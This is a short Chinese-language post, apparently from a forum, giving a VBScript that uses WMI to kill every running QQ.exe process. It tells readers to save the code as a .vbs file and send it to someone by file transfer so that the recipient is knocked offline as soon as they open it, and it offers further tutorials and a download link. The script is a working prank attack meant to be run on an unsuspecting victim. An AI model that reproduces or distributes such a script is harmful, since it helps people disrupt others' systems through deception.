代码如下：
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='QQ.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next


把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加.vbs

使用文件传送给对方 只要对方一打开马上就会掉下线。

你们想要知道这个怎么做的请留下邮箱，我会给你们发教程，和代码

教程下载地址：http://www.vdisk.cn/down/index/9062609A1616

你自己没有弄好

把那个代码复制一下吗